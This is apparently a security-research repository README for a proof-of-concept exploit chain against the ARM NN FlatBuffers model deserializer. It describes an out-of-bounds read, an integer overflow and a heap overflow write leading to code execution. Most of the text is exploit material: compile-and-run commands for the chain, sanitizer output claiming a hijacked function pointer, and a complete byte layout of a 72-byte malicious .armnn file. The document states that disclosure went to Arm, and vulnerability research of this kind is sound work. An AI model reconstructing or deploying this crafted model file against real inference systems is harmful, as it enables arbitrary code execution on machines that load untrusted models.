YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ArmNN FlatBuffers Deserializer — Out-of-Bounds Read → Heap Overflow → RCE PoC
Vulnerability: Unchecked outputSlots()->Get(0) on empty FlatBuffers vector in ArmNN Deserializer
Affected software: ARM NN — src/armnnDeserializer/Deserializer.cpp
File format: .armnn (ArmNN FlatBuffers model format)
Impact: Heap-buffer-overflow WRITE → arbitrary code execution at inference time
Severity: Critical (CVSS 3.1 ≈ 9.8)
Files in this repository
| File | Description |
|---|---|
poc.armnn |
72-byte crafted ArmNN model file that triggers the vulnerability |
rce_chain.cpp |
Self-contained C++ PoC reproducing the full 5-stage exploit chain |
README.md |
This file |
Vulnerability Overview
Root Cause 1 — Unchecked vector access (Deserializer.cpp:839, 1089, 1138)
// Deserializer.cpp:839 — no size check before Get(0)
auto outputSlot = GetBaseLayer(graphPtr, inputId)->outputSlots()->Get(0);
flatbuffers::Vector<T>::Get(i) uses FLATBUFFERS_ASSERT(i < size()) which compiles
to a no-op under NDEBUG (all release builds). On an empty vector, Get(0) reads
4 bytes past the allocation boundary. Since the entire .armnn file is one contiguous
heap buffer, those 4 bytes are fully attacker-controlled.
Root Cause 2 — Integer overflow in GetNumBytes()
// Tensor.cpp — unsigned 32-bit multiply, no overflow check
unsigned int count = 1;
for (unsigned int i = 0; i < m_NumDimensions; i++)
count *= m_Dimensions[i]; // 0x80000001 × 2 = 0x100000002 → wraps to 2
return GetDataTypeSize(m_DataType) * count; // 4 × 2 = 8 bytes ← undersized
Root Cause 3 — Inference-time heap overflow write
The compute kernel iterates over the actual stored dimensions [0x80000001, 2],
writing 0x80000001 × 2 × 4 bytes ≈ 17 GB into an 8-byte allocation.
Proof of Concept
Self-contained (no ArmNN install required)
# Download FlatBuffers headers
mkdir fb_include && cd fb_include
curl -sL https://github.com/google/flatbuffers/archive/refs/tags/v24.3.25.tar.gz \
| tar xz --strip-components=2 flatbuffers-24.3.25/include
cd ..
# ASAN build — confirms heap-buffer-overflow WRITE
g++ -std=c++17 -DNDEBUG -Ifb_include rce_chain.cpp \
-fsanitize=address -fno-omit-frame-pointer -g -o rce_asan
./rce_asan
# No-ASAN build — demonstrates actual control-flow hijack
g++ -std=c++17 -DNDEBUG -Ifb_include rce_chain.cpp -o rce_hijack
./rce_hijack
ASAN Output (confirmed)
Stage 2: vec->size()=0 Get(0) raw=0x0000000c OutputSlot*=0x50c000000050 ✓ MATCH
Stage 3: dimensions=[0x80000001, 0x00000002]
GetNumElements(): 0x100000002 → wraps to 2
GetNumBytes(): 8 bytes ← undersized allocation
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4 at 0x5020000000b8
→ 0 bytes after 8-byte region [0x5020000000b0, 0x5020000000b8)
→ allocated by malloc(8) ← GetNumBytes() integer overflow
Stage 5: victim->trigger OVERWRITTEN by overflow: 0x4014e3 → 0x40152b
→ ATTACKER PAYLOAD EXECUTING (arbitrary code execution achieved)
poc.armnn Binary Layout (72 bytes, little-endian)
Offset Bytes Description
0x00 00000000 Empty outputSlots vector — size = 0
0x04 0c000000 OOB offset +12 → OutputSlot table
0x08 08000c00 OutputSlot vtable: vtable_size=8, obj_size=12
0x0C 04000800 field[0]=4 (index), field[1]=8 (tensorInfo)
0x10 08000000 OutputSlot object soffset=8
0x14 00000000 index = 0
0x18 14000000 Forward offset +20 → TensorInfo object
0x1C 10001000 TensorInfo vtable: vtable_size=16, obj_size=16
0x20 04000800 field[0]=4 (dims), field[1]=8 (dataType)
0x24 00000000 field[2]=0, field[3]=0 (absent)
0x28 00000c00 field[4]=0, field[5]=12 (dimensionality)
0x2C 10000000 TensorInfo object soffset=16
0x30 0c000000 Forward offset +12 → dims vector
0x34 07000000 dataType=7 (Float32), 3 bytes padding
0x38 01000000 dimensionality=1 (Specified)
0x3C 02000000 dims vector: size=2
0x40 01000080 dim[0] = 0x80000001 ← overflow trigger
0x44 02000000 dim[1] = 2
Security research — responsible disclosure submitted to Arm via Huntr.